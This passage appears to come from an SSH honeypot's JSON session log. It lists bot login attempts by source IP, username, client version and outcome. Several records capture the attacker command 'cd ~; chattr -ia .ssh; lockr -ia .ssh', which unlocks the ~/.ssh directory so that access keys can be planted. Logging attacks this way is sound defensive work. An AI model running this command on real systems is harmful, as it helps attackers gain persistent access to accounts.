  "ended_at": "2026-08-20T14:46:51.898593+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "f8639579-bfa2-45a3-87b4-857a61aa5217",
  "name": "muted-restless-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 53116,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:39:43.098706+00:00",
  "ended_at": "2026-08-20T14:40:41.575136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a28fa947-762a-4b2d-8b72-128dd0ac4fa4",
  "name": "nimble-sturdy-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 52154,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T14:39:41.104829+00:00",
  "ended_at": "2026-08-20T14:43:41.602775+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "2cbef402-e33b-41e6-909c-cbff61b06265",
  "name": "daring-spirited-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 53490,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:35:13.271009+00:00",
  "ended_at": "2026-08-20T14:35:15.255185+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e33c0a48-d20e-4564-badd-81ac3e967130",
  "name": "russet-misty-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 51756,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T14:35:06.597458+00:00",
  "ended_at": "2026-08-20T14:39:06.610920+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "0c424e89-b87f-4126-80d8-2ec819a87ede",
  "name": "humble-emerald-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.145.238.60",
  "src_port": 57520,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:29:34.883347+00:00",
  "ended_at": "2026-08-20T14:30:33.574171+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bc281d9b-be4f-40ff-b0c0-8e087b33e06e",
  "name": "freckled-feral-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 60640,
  "username": "mariadb",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T14:28:54.209476+00:00",
  "ended_at": "2026-08-20T14:32:54.747260+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "2e059862-2cc2-4972-9224-79e9d6519755",
  "name": "hearty-frosty-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 60246,
  "username": "test01",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:24:12.396387+00:00",
  "ended_at": "2026-08-20T14:24:13.915217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca7eafbb-c508-4445-8dc8-3f365b0067a2",
  "name": "velvet-hidden-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 50564,
  "username": "kuba",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:21:05.774696+00:00",
  "ended_at": "2026-08-20T14:21:06.719048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4c29050c-1fa6-4645-92f0-be4909421fcc",
  "name": "cobalt-wry-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.145.238.60",
  "src_port": 59468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:16:29.722364+00:00",
  "ended_at": "2026-08-20T14:16:31.190353+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23e9b4bc-bee5-4abb-a1d9-84fa52844e97",
  "name": "idle-gentle-avocet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 40502,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:13:20.824516+00:00",
  "ended_at": "2026-08-20T14:13:23.196035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "583d136d-f62f-4e8e-98d8-eaf8edcbaf15",
  "name": "patient-pristine-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 59052,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:10:13.523317+00:00",
  "ended_at": "2026-08-20T14:10:15.267808+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28945e81-2e29-439d-940a-443c415b6fdf",
  "name": "placid-buoyant-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 59372,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:05:50.409967+00:00",
  "ended_at": "2026-08-20T14:06:49.196324+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "95ba89ba-3d14-4d87-9e29-01189f519d64",
  "name": "bold-diligent-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 58676,
  "username": null,
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:05:48.741227+00:00",
  "ended_at": "2026-08-20T14:08:26.444958+00:00",
  "ended_reason": "honeypot reconnected",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "6c8ccceb-921d-4cb1-a65e-9178b22d26fa",
  "name": "courtly-stormy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.145.238.60",
  "src_port": 44386,
  "username": null,
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:04:53.884319+00:00",
  "ended_at": "2026-08-20T14:08:26.444958+00:00",
  "ended_reason": "honeypot reconnected",
  "commands": 3,
  "transcript_bytes": 561
 },
 {
  "id": "7a684ba3-860e-44e5-89df-9dd7ab47954c",
  "name": "distant-tidal-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.145.238.60",
  "src_port": 44400,
  "username": "dell",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:04:51.370377+00:00",
  "ended_at": "2026-08-20T14:04:53.329967+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "929d4224-af8d-46ad-bdf3-3057e2a76b8f",
  "name": "bitter-lanky-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.145.238.60",
  "src_port": 44392,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:04:46.963295+00:00",
  "ended_at": "2026-08-20T14:04:48.769139+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a6397f6-35bd-4081-b7f5-d2d24dc5f3ad",
  "name": "crystal-kindly-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 60018,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:01:24.606426+00:00",
  "ended_at": "2026-08-20T14:01:25.818626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd86b1fe-e348-4329-87cd-5a0337ab4d89",
  "name": "placid-watchful-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 60004,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:01:20.910945+00:00",
  "ended_at": "2026-08-20T14:01:23.029570+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f78dcb28-2f70-45bc-acf1-823c7ab0d380",
  "name": "nautical-airy-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 58276,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T14:01:12.304743+00:00",
  "ended_at": "2026-08-20T14:05:14.524184+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "0e8ac5d6-c181-4f6e-a6a4-9b9ef9b4fb58",
  "name": "placid-valiant-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 40378,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:54:58.172102+00:00",
  "ended_at": "2026-08-20T13:55:56.873816+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7a5c065-9c24-48f0-97c2-743583b30b7e",
  "name": "rambling-muted-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 38928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T13:54:56.367348+00:00",
  "ended_at": "2026-08-20T13:58:56.888345+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "4c56c394-d953-4290-8ad9-7d63845087d1",
  "name": "serene-muted-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 49552,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:48:56.226265+00:00",
  "ended_at": "2026-08-20T13:49:55.002862+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90d68d8b-222e-44b0-8cbb-008e3be5f6df",
  "name": "forlorn-wandering-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 49546,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:48:53.245153+00:00",
  "ended_at": "2026-08-20T13:48:54.780240+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7311dc9-7a65-4f95-b75e-5f93c3d259a2",
  "name": "blithe-silent-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "117.50.51.198",
  "src_port": 47816,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T13:48:50.836998+00:00",
  "ended_at": "2026-08-20T13:52:51.083303+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "45d1d93f-3194-4977-a4a1-c35d1cbd9d2d",
  "name": "jaunty-gloomy-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 38138,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:45:33.057142+00:00",
  "ended_at": "2026-08-20T13:45:34.861719+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e1f22ccf-8340-49a0-a6ab-72d91793f3f0",
  "name": "murky-keen-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 47416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:43:58.046231+00:00",
  "ended_at": "2026-08-20T13:43:58.808396+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1059ab6-c3e6-4011-b3f2-e307e8168229",
  "name": "gentle-daring-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.145.238.60",
  "src_port": 43164,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:43:01.151174+00:00",
  "ended_at": "2026-08-20T13:43:02.293498+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1ff427c-79a2-4b5d-a7b0-ef510904e8cc",
  "name": "tawny-stoic-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "117.50.51.198",
  "src_port": 35874,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:40:29.565583+00:00",
  "ended_at": "2026-08-20T13:40:31.603230+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2dc3a1b7-95c0-4a49-83e6-1d509a3fae3d",
  "name": "silent-lonesome-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.145.238.60",
  "src_port": 33370,
  "username": "receive",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T13:18:32.019041+00:00",
  "ended_at": "2026-08-20T13:18:32.805324+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a09265ce-7df6-487c-b00d-1f24a248165f",
  "name": "canny-restless-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "186.248.197.77",
  "src_port": 45656,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 412,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:59:14.353436+00:00",
  "ended_at": "2026-08-20T12:59:14.478176+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3733
 },
 {
  "id": "567faaa6-ccb8-4ae7-be93-5546e97a5fb2",
  "name": "fleeting-eager-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "186.248.197.77",
  "src_port": 4061,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:58:58.375551+00:00",
  "ended_at": "2026-08-20T12:58:58.758225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "691e0257-a71d-426a-9b31-5ff19a877013",
  "name": "hazel-sullen-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "186.248.197.77",
  "src_port": 5789,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:58:42.672791+00:00",
  "ended_at": "2026-08-20T12:58:43.420592+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "351d4268-51c4-465d-9022-4aae740a0cd6",
  "name": "nameless-rambling-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "186.248.197.77",
  "src_port": 49280,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:58:40.489353+00:00",
  "ended_at": "2026-08-20T12:58:41.848714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "386cd1c7-519d-4236-8847-83d267b6216e",
  "name": "lunar-hazy-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "186.248.197.77",
  "src_port": 7594,
  "username": "tobias",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:55:44.792437+00:00",
  "ended_at": "2026-08-20T12:55:46.798818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "826dd521-df64-494c-a7ff-22642a40f748",
  "name": "whispering-jolly-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "186.248.197.77",
  "src_port": 56592,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:53:03.319627+00:00",
  "ended_at": "2026-08-20T12:53:04.185025+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46fb043f-7cad-43ac-afbe-b504a2611f5e",
  "name": "frosty-barren-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.47.46.174",
  "src_port": 59806,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 687,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:49:42.507032+00:00",
  "ended_at": "2026-08-20T12:49:42.722243+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3732
 },
 {
  "id": "3d15f386-387f-47e0-bf70-e271b23f41a4",
  "name": "idle-jagged-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.47.46.174",
  "src_port": 40802,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:49:20.295798+00:00",
  "ended_at": "2026-08-20T12:49:20.641430+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2bf50115-3d79-4193-a17c-76509dd4cd0a",
  "name": "brisk-proud-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.47.46.174",
  "src_port": 33638,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:48:59.453849+00:00",
  "ended_at": "2026-08-20T12:49:01.026015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6d1e1d1-8868-4eb5-b65d-6a4484015451",
  "name": "vigilant-marine-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.47.46.174",
  "src_port": 60866,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:48:56.828125+00:00",
  "ended_at": "2026-08-20T12:48:58.173373+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e18877de-e46f-4695-a850-04378af07c3c",
  "name": "hushed-deft-guanaco",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "186.248.197.77",
  "src_port": 45586,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:46:50.880191+00:00",
  "ended_at": "2026-08-20T12:46:51.778925+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "29488fc2-d052-4812-8369-4fd2c84c8c07",
  "name": "marine-fierce-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.47.46.174",
  "src_port": 40958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:46:30.433780+00:00",
  "ended_at": "2026-08-20T12:46:32.266943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c25770c-d4e7-4d57-8c51-2c9953bb666c",
  "name": "cheerful-loyal-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.47.46.174",
  "src_port": 50352,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:44:04.024400+00:00",
  "ended_at": "2026-08-20T12:44:05.167854+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5c6ea6c-6d23-4484-a686-23db7299bd01",
  "name": "grassy-plucky-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.47.46.174",
  "src_port": 46054,
  "username": "erpnext",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:39:23.358670+00:00",
  "ended_at": "2026-08-20T12:39:25.026489+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8b8ffbe-8acf-4f65-911c-25a77eb5612f",
  "name": "ashen-cunning-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "194.156.249.154",
  "src_port": 57262,
  "username": "socks",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 385,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:37:01.791163+00:00",
  "ended_at": "2026-08-20T12:37:01.903396+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3649
 },
 {
  "id": "c37cfb85-5e38-4cfb-b15e-84296e1c2f84",
  "name": "brisk-frosty-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "194.156.249.154",
  "src_port": 42252,
  "username": "socks",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:36:46.353659+00:00",
  "ended_at": "2026-08-20T12:36:46.739900+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f307b22-45b6-46d2-8e4a-4553e7d19595",
  "name": "reedy-leafy-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "194.156.249.154",
  "src_port": 57276,
  "username": "socks",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:36:31.590965+00:00",
  "ended_at": "2026-08-20T12:36:32.969511+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "305312e7-d8d5-473b-9ed6-d3a50ab12366",
  "name": "upland-dappled-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "194.156.249.154",
  "src_port": 57266,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:36:29.687267+00:00",
  "ended_at": "2026-08-20T12:36:30.798055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5888a45a-f730-4c0e-823e-c17da9fa5f7e",
  "name": "fabled-bitter-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "194.156.249.154",
  "src_port": 39584,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T12:34:42.052349+00:00",
  "ended_at": "2026-08-20T12:34:42.386835+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1710c81c-7e3d-4e8a-a4ae-297a449f2993",
  "name": "ivory-pristine-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "194.156.249.154",
  "src_port": 51750,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-20T12:34:39.652762+00:00",
  "ended_at": "2026-08-20T12:34:42.383964+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2842
 },
 {
  "id": "aca095f7-c984-4d36-bddc-9c5c2352943a",
  "name": "tawny-gritty-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "194.156.249.154",
  "src_port": 51768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
